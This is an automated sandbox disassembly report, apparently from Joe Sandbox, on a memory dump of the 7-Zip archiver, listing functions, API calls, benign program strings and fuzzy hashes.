Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: fputs$FreeString$fputcfree
String ID: = $--$----$Path$Type$Warning: The archive is open with offset
API String ID: 2701146716-1919703766
Opcode ID: 0d94f0344947542c072f3f7d1a6acdb2a7a7600c81a17a110e60a59a3ca316a5
Instruction ID: f175f8ca9b158940db9a94f87344b72db8a9251bb8672f7d7ea73de9680dd4b8
Opcode Fuzzy Hash: 0d94f0344947542c072f3f7d1a6acdb2a7a7600c81a17a110e60a59a3ca316a5
Instruction Fuzzy Hash: 4591AF3A214E4192DB16DF22E950B6E7334F794BC9F015122EE5B47B24DF38CA99C700

Function 0031F71C Relevance: 30.0, APIs: 11, Strings: 6, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00311610: free.MSVCRT ref: 00311682
Part of subcall function 00311610: free.MSVCRT ref: 0031168A
Part of subcall function 00311610: free.MSVCRT ref: 003116C4

_CxxThrowException.MSVCRT ref: 0031F76E
_isatty.MSVCRT ref: 0031F77E
_isatty.MSVCRT ref: 0031F796
_isatty.MSVCRT ref: 0031F7AE
_CxxThrowException.MSVCRT ref: 0031F8E0
wcscmp.MSVCRT ref: 0031F96F
_CxxThrowException.MSVCRT ref: 0031F9AE
_CxxThrowException.MSVCRT ref: 0031FA6F
GetCurrentProcess.KERNEL32 ref: 0031FA77
SetProcessAffinityMask.KERNEL32 ref: 0031FA83
free.MSVCRT ref: 0031FA8F

Strings

Unsupported switch postfix -bb, xrefs: 0031F8C3
Unsupported switch postfix -stm, xrefs: 0031FA52
SeLockMemoryPrivilege, xrefs: 0031F9CB
SeRestorePrivilege, xrefs: 0031F91C
Unsupported switch postfix for -slp, xrefs: 0031F991
SeCreateSymbolicLinkPrivilege, xrefs: 0031F92A

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ExceptionThrowfree$_isatty$Process$AffinityCurrentMaskwcscmp
String ID: SeCreateSymbolicLinkPrivilege$SeLockMemoryPrivilege$SeRestorePrivilege$Unsupported switch postfix -bb$Unsupported switch postfix -stm$Unsupported switch postfix for -slp
API String ID: 1961088698-2328792591
Opcode ID: c2f4b7cbffa4da8aa62650c82c274732c1406b7f11731e234dbbf7887eb3a42e
Instruction ID: 59d5547fdae227d07632e27daa5d7398a07ce55b975bb029899ebc71f6a667a8
Opcode Fuzzy Hash: c2f4b7cbffa4da8aa62650c82c274732c1406b7f11731e234dbbf7887eb3a42e
Instruction Fuzzy Hash: B8A19E73608AC499EB27DF25E4903ED7B20E789B94F598176DB8C47765CF28CA85C700

Function 0035A448 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 0035A477

Part of subcall function 003126A0: fputs.MSVCRT ref: 003126C1

fputs.MSVCRT ref: 0035A4C1
free.MSVCRT ref: 0035A52B
free.MSVCRT ref: 0035A533
free.MSVCRT ref: 0035A545
free.MSVCRT ref: 0035A57A
free.MSVCRT ref: 0035A582
free.MSVCRT ref: 0035A594
_CxxThrowException.MSVCRT ref: 0035A5E1
free.MSVCRT ref: 0035A5EF
free.MSVCRT ref: 0035A61C
free.MSVCRT ref: 0035A62E

Part of subcall function 00312300: fputc.MSVCRT ref: 00312311

Strings

Warnings: , xrefs: 0035A470
Errors: , xrefs: 0035A4BA

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$fputs$ExceptionThrowfputc
String ID: Errors: $Warnings:
API String ID: 437615013-2345102087
Opcode ID: 40a164d8ef110d7c6f53597072ad901ddf4be2da223ed109514b88298d34997d
Instruction ID: 15e6609202a1b0c34158314d2e9bfafbd0ad5946bd96780556d87d4f97329b15
Opcode Fuzzy Hash: 40a164d8ef110d7c6f53597072ad901ddf4be2da223ed109514b88298d34997d
Instruction Fuzzy Hash: CE51C762314DC081C936EB25E8907EEA361F786791F454722DE9D1BB69DF38C4DAC701

Function 003383C8 Relevance: 27.2, APIs: 13, Strings: 5, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00318624: free.MSVCRT ref: 003186A9

free.MSVCRT ref: 00338493
free.MSVCRT ref: 003384A7
free.MSVCRT ref: 003384B8
free.MSVCRT ref: 00338503
free.MSVCRT ref: 0033850E

Part of subcall function 003186DC: free.MSVCRT ref: 00318761

free.MSVCRT ref: 0033854D
free.MSVCRT ref: 00338558
free.MSVCRT ref: 00338590
free.MSVCRT ref: 0033859B

Part of subcall function 00338290: free.MSVCRT ref: 0033832B
Part of subcall function 00338290: free.MSVCRT ref: 00338336

free.MSVCRT ref: 003385D0
free.MSVCRT ref: 003385DB
free.MSVCRT ref: 003385EA
free.MSVCRT ref: 00338602

Part of subcall function 00313314: memmove.MSVCRT ref: 00313339

Strings

Path64, xrefs: 003384D6, 00338520
Formats, xrefs: 0033844E
Path, xrefs: 0033856A, 003385AA
7z.dll, xrefs: 003383F0
Codecs, xrefs: 0033841F

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$memmove
String ID: 7z.dll$Codecs$Formats$Path$Path64
API String ID: 1534225298-3804457719
Opcode ID: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
Instruction ID: 80ded132ba42347bc73c1c2222cceabbc469c2b1a39798ffe56af122a73e0c41
Opcode Fuzzy Hash: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
Instruction Fuzzy Hash: EF518562204A4590DE26EF15E8913DAA720D7CB7E4F541222BB5E5B7B9CF28C6CAC704

Function 0033AB74 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 268
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 0033ABC9
free.MSVCRT ref: 0033ACF3
free.MSVCRT ref: 0033ACFE
free.MSVCRT ref: 0033AD95
memmove.MSVCRT(?), ref: 0033ADCB
free.MSVCRT ref: 0033AE70
free.MSVCRT ref: 0033AF7F

Part of subcall function 003394A8: free.MSVCRT ref: 003394DB
Part of subcall function 003394A8: free.MSVCRT ref: 003394E3
Part of subcall function 003394A8: free.MSVCRT ref: 003394F0
Part of subcall function 003394A8: free.MSVCRT ref: 0033951C
Part of subcall function 003394A8: free.MSVCRT ref: 00339525
Part of subcall function 003394A8: free.MSVCRT ref: 0033952D
Part of subcall function 003394A8: free.MSVCRT ref: 0033953A

free.MSVCRT ref: 0033AEC2

Part of subcall function 0031339C: free.MSVCRT ref: 003133D7
Part of subcall function 0031339C: memmove.MSVCRT(00000000,?,?,00000000,003110A8), ref: 003133F2

Part of subcall function 0033A9FC: free.MSVCRT ref: 0033AA95
Part of subcall function 0033A9FC: free.MSVCRT ref: 0033AAC5
Part of subcall function 0033A9FC: free.MSVCRT ref: 0033AAD2

free.MSVCRT ref: 0033AEFA
GetProcAddress.KERNEL32 ref: 0033AF4D

Strings

SetCodecs, xrefs: 0033AF43
Formats\, xrefs: 0033AED1
7z.dll, xrefs: 0033AE3C, 0033AE89
Codecs\, xrefs: 0033AE99

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$memmove$AddressProc
String ID: 7z.dll$Codecs\$Formats\$SetCodecs
API String ID: 4053071709-2499791885
Opcode ID: 8408131b45c12e29ab25c2e406772a01b5634e2fefe50597f9c143b7cfa8c1f7
Instruction ID: 57a42233806547e9e854406e666b098f2784d5b6b2f26852b31f4ebbab02420d
Opcode Fuzzy Hash: 8408131b45c12e29ab25c2e406772a01b5634e2fefe50597f9c143b7cfa8c1f7
Instruction Fuzzy Hash: 3FB1B466214AC096CB32EB21E4903AFB764F385798F504216EBCE4BB25DF7DC5A9C701

Function 00351850 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00351877
fputs.MSVCRT ref: 0035190A
LeaveCriticalSection.KERNEL32 ref: 00351A44

Part of subcall function 0035B1C8: memset.MSVCRT ref: 0035B20D
Part of subcall function 0035B1C8: fputs.MSVCRT ref: 0035B232

fputs.MSVCRT ref: 0035194D

Part of subcall function 003126A0: fputs.MSVCRT ref: 003126C1

fputs.MSVCRT ref: 003519CB
fputs.MSVCRT ref: 003519EA
LeaveCriticalSection.KERNEL32 ref: 00351A51

Part of subcall function 00312300: fputc.MSVCRT ref: 00312311

free.MSVCRT ref: 00351A14

Strings

p, xrefs: 003519A4
Can't allocate required memory!, xrefs: 003519E3
ERROR: , xrefs: 003519C4
Everything is Ok, xrefs: 00351903
Sub items Errors: , xrefs: 00351946

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: fputs$CriticalSection$Leave$Enterfputcfreememset
String ID: Can't allocate required memory!$ERROR: $Everything is Ok$Sub items Errors: $p
API String ID: 676172275-580504279
Opcode ID: 00b0e537d4ffefddec52b66757bd7e4d904c0f2f8dd17a6a25b95f70ab0f44f6
Instruction ID: bc5a80905011d979f7ba5c6dcb4d8d3a7e427c34106ccbd96bf60eca6b50b8ce
Opcode Fuzzy Hash: 00b0e537d4ffefddec52b66757bd7e4d904c0f2f8dd17a6a25b95f70ab0f44f6
Instruction Fuzzy Hash: D351A066305A81A6EB2F9F25D9A07ED6324F748B91F454122DF6E0B760CF38D4B9C300

Function 003338E8 Relevance: 22.8, APIs: 13, Strings: 2, Instructions: 262
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0033373C: free.MSVCRT ref: 003337FB

memmove.MSVCRT ref: 0033396F
free.MSVCRT ref: 00333986
free.MSVCRT ref: 00333A11
_CxxThrowException.MSVCRT ref: 00333A5F
free.MSVCRT ref: 00333AD3

Part of subcall function 00333864: free.MSVCRT ref: 00333877
Part of subcall function 00333864: free.MSVCRT ref: 00333892
Part of subcall function 00333864: free.MSVCRT ref: 0033389B
Part of subcall function 00333864: free.MSVCRT ref: 003338C6
Part of subcall function 00333864: free.MSVCRT ref: 003338CE

Strings

Cannot find archive, xrefs: 00333A42
Duplicate archive path:, xrefs: 00333C07

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmemmove
String ID: Cannot find archive$Duplicate archive path:
API String ID: 3934437811-2067063536
Opcode ID: cb8f74f9773297cdd49a0ca175e0294e4bed06a47462a3eb8b06c6dd458c7679
Instruction ID: 06d6d88255d51e0347f311dc7f6aae5c066db69ce9b08ca8a62499ba834fa04a
Opcode Fuzzy Hash: cb8f74f9773297cdd49a0ca175e0294e4bed06a47462a3eb8b06c6dd458c7679
Instruction Fuzzy Hash: 55A18672315A8492CA26EB15E4D069FB361F7C9BD0F409511EF8E5BB29DF38C996CB00

Function 003442A2 Relevance: 21.3, APIs: 13, Strings: 1, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.MSVCRT ref: 00344324
free.MSVCRT ref: 0034441A
free.MSVCRT ref: 00344425

Strings

, xrefs: 00344466

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-3916222277
Opcode ID: bfda89d0d9cdfe3f540f1be295f01f6c1ea07059f837bb15d646c794703c55e5
Instruction ID: 487d089bd76c1734a4a4b6262eb38083c7b933b004c0f859bf570ae5dde98f35
Opcode Fuzzy Hash: bfda89d0d9cdfe3f540f1be295f01f6c1ea07059f837bb15d646c794703c55e5
Instruction Fuzzy Hash: CAD12037209BC496CB26DB65E09029EBBA0F7C6B44F445026DB8E4BB25DF7CD599CB00

Function 003391E0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00339205
GetProcAddress.KERNEL32 ref: 00339219
GetProcAddress.KERNEL32 ref: 0033922D
GetProcAddress.KERNEL32 ref: 00339257
memmove.MSVCRT ref: 003392F0
GetProcAddress.KERNEL32 ref: 0033931C

Strings

GetMethodProperty, xrefs: 00339222
CreateDecoder, xrefs: 003391FB
CreateEncoder, xrefs: 0033920E
GetHashers, xrefs: 00339315
GetNumberOfMethods, xrefs: 00339245

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: AddressProc$memmove
String ID: CreateDecoder$CreateEncoder$GetHashers$GetMethodProperty$GetNumberOfMethods
API String ID: 2879976980-73314117
Opcode ID: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
Instruction ID: 933a84f80f6e891c17ba836c3e0a31b2800f7c5d6a9971b3627b7c38b6659324
Opcode Fuzzy Hash: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
Instruction Fuzzy Hash: 12418BB6214A41D6DB21DF21F8C079EB365F784794F414526EB8E87764DFB8C945CB00

Function 00351BC0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 250COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00351CF9

Part of subcall function 0035B1C8: memset.MSVCRT ref: 0035B20D
Part of subcall function 0035B1C8: fputs.MSVCRT ref: 0035B232

Part of subcall function 00312300: fputc.MSVCRT ref: 00312311

fputs.MSVCRT ref: 00351DEE
fputs.MSVCRT ref: 00351F07
fputs.MSVCRT ref: 00351F5C

Part of subcall function 0035171C: fputs.MSVCRT ref: 00351744
Part of subcall function 0035171C: fputs.MSVCRT ref: 00351758
Part of subcall function 0035171C: free.MSVCRT ref: 0035176B

Part of subcall function 00316618: FormatMessageW.KERNEL32 ref: 00316676
Part of subcall function 00316618: LocalFree.KERNEL32 ref: 00316698

Part of subcall function 00312320: free.MSVCRT ref: 0031237E
Part of subcall function 00312320: fputs.MSVCRT ref: 003123B8
Part of subcall function 00312320: free.MSVCRT ref: 003123C4

free.MSVCRT ref: 00351F86

Strings

WARNINGS:, xrefs: 00351DB4, 00351DE7
ERROR: , xrefs: 00351F00
ERRORS:, xrefs: 00351CBF, 00351CF2
Can't allocate required memory, xrefs: 00351F55

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: fputs$free$FormatFreeLocalMessagefputcmemset
String ID: Can't allocate required memory$ERROR: $ERRORS:$WARNINGS:
API String ID: 2553544393-24972044
Opcode ID: 5ec651521e921188cfebbe0943830bcb464d12baf91779271459dbeb9241f1ce
Instruction ID: c1c828ccffb27979b84786b2bd4d1c11d656e05174cc8c0848e342464c306298
Opcode Fuzzy Hash: 5ec651521e921188cfebbe0943830bcb464d12baf91779271459dbeb9241f1ce
Instruction Fuzzy Hash: A1A170667006C4AACA6FEF71D5917EEB320F749B81F454526DF6E0B621DF68D8A8C300

Function 0035949B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 003594EE
_CxxThrowException.MSVCRT ref: 0035A5E1
free.MSVCRT ref: 0035A5EF
free.MSVCRT ref: 0035A61C
free.MSVCRT ref: 0035A62E
free.MSVCRT ref: 0035A696
free.MSVCRT ref: 0035A69E
free.MSVCRT ref: 0035A6B0

Strings

Decoding ERROR, xrefs: 003594E7

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$ExceptionThrowfputs
String ID: Decoding ERROR
API String ID: 117389134-2585761706
Opcode ID: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
Instruction ID: 34df940b4583888470401bf14660331c2b467d79ff45803ee4a732062a887bb1
Opcode Fuzzy Hash: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
Instruction Fuzzy Hash: E931F6623149C195CA33EB25E880BAE6360F786781F445622CE8E4B778DF38C989C701

Function 0033A7FC Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 123libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00316464: FreeLibrary.KERNELBASE(?,?,?,003164E7), ref: 00316475

Part of subcall function 00313404: free.MSVCRT ref: 00313431
Part of subcall function 00313404: memmove.MSVCRT ref: 0031344C

GetProcAddress.KERNEL32 ref: 0033A8CA
GetProcAddress.KERNEL32 ref: 0033A8E8
GetProcAddress.KERNEL32 ref: 0033A908
free.MSVCRT ref: 0033A985
free.MSVCRT ref: 0033A996

Strings

CreateObject, xrefs: 0033A8FD
SetLargePageMode, xrefs: 0033A8BF
SetCaseSensitive, xrefs: 0033A8DD

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: AddressProcfree$FreeLibrarymemmove
String ID: CreateObject$SetCaseSensitive$SetLargePageMode
API String ID: 852969883-606380122
Opcode ID: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
Instruction ID: 95ca8001bd6bb43c1158cea4ee1944f701c6ac0c6941c1f713154786c911132c
Opcode Fuzzy Hash: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
Instruction Fuzzy Hash: 4241C536201F4096DB26EF26E89075E7760FB89B94F058524DFCA4B765DF38C585C300

Function 0035B480 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 229stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 0035B723
fputs.MSVCRT ref: 0035B743

Part of subcall function 003138C8: memmove.MSVCRT(0031A0E5), ref: 00313907

Part of subcall function 00313A64: memmove.MSVCRT ref: 00313AAA

GetTickCount.KERNEL32 ref: 0035B49E

Part of subcall function 00313404: free.MSVCRT ref: 00313431
Part of subcall function 00313404: memmove.MSVCRT ref: 0031344C

strcmp.MSVCRT ref: 0035B4E3
wcscmp.MSVCRT ref: 0035B502
strcmp.MSVCRT ref: 0035B568

Strings

. , xrefs: 0035B6AC

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: memmovestrcmp$CountTickfputsfreewcscmp
String ID: .
API String ID: 591578422-4150638102
Opcode ID: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
Instruction ID: 25c72fcdd540ddf8ae4ab17982726a0e3b3ed3978f19dc7b52c56db8f1354828
Opcode Fuzzy Hash: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
Instruction Fuzzy Hash: 88A15D77700A84A7CB1EDF2AD69069DB361F748785F808016DB5A47B21EF34E9BAC740

Function 00352ECC Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00352F7E
fputs.MSVCRT ref: 00352F9D
free.MSVCRT ref: 00352FB6
free.MSVCRT ref: 00352FC1

Part of subcall function 00312C78: free.MSVCRT ref: 00312CAE

Part of subcall function 00312320: free.MSVCRT ref: 0031237E
Part of subcall function 00312320: fputs.MSVCRT ref: 003123B8
Part of subcall function 00312320: free.MSVCRT ref: 003123C4

free.MSVCRT ref: 00352FCC

Strings

h<6, xrefs: 00352F2E
= , xrefs: 00352F96

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$fputs
String ID: = $h<6
API String ID: 2444650769-4264137474
Opcode ID: 40218af8c8f5cebf14e2460a5095f74d7b39ca0d1f579d7e20a065c4070789fb
Instruction ID: c56ca36fc55969507640c3565708bc4dd6953781f55ca83abfb65ae17843b4df
Opcode Fuzzy Hash: 40218af8c8f5cebf14e2460a5095f74d7b39ca0d1f579d7e20a065c4070789fb
Instruction Fuzzy Hash: EC21856321894095CA22EF15E4816AFA730E7DA7D1F445222FF5E4B779DF28C999C700

Function 00339D98 Relevance: 12.1, APIs: 8, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 00339BCC: free.MSVCRT ref: 00339C11
Part of subcall function 00339BCC: free.MSVCRT ref: 00339C19
Part of subcall function 00339BCC: free.MSVCRT ref: 00339C3B

Part of subcall function 00339BCC: free.MSVCRT ref: 00339D2A

wcscmp.MSVCRT ref: 00339E66
free.MSVCRT ref: 00339ECA
free.MSVCRT ref: 00339ED4
free.MSVCRT ref: 00339F13
free.MSVCRT ref: 00339F1B
free.MSVCRT ref: 00339F28
free.MSVCRT ref: 00339F49
free.MSVCRT ref: 00339F51

Part of subcall function 00313404: free.MSVCRT ref: 00313431
Part of subcall function 00313404: memmove.MSVCRT ref: 0031344C

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$memmovewcscmp
String ID:
API String ID: 3584677832-0
Opcode ID: 419078b5561bcbe998c8bace5f80db078349074a36591a840ea38ec4c74fc1c5
Instruction ID: a792e56f17a084899d3ce9bf13bfb41c5da7beb58c1f7a8dde465eeca4f3ad41
Opcode Fuzzy Hash: 419078b5561bcbe998c8bace5f80db078349074a36591a840ea38ec4c74fc1c5
Instruction Fuzzy Hash: F1411926305A4095CB16FF16E88029FA765F789BE8F451222EF6D4B764DF78C896C700

Function 0035E16E Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0035E1C2
__setusermatherr.MSVCRT ref: 0035E211
_initterm.MSVCRT ref: 0035E225
